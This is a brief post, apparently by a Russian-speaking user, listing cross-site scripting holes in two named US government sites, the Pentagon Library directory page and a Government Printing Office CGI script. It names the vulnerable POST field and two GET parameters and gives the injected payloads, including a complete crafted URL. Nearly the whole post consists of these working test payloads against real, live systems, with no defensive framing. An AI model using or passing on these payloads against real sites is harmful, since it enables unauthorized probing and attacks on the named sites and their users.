Pentagon Library

http://www.whs.mil/library/dir.html

POST запросом в поле "Area Code"

">alert(/xss/)

U.S. Government Printing Office

тута уже get

уязвимо два параметра

http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=alert(/xss/)&docid=">alert(/xss/)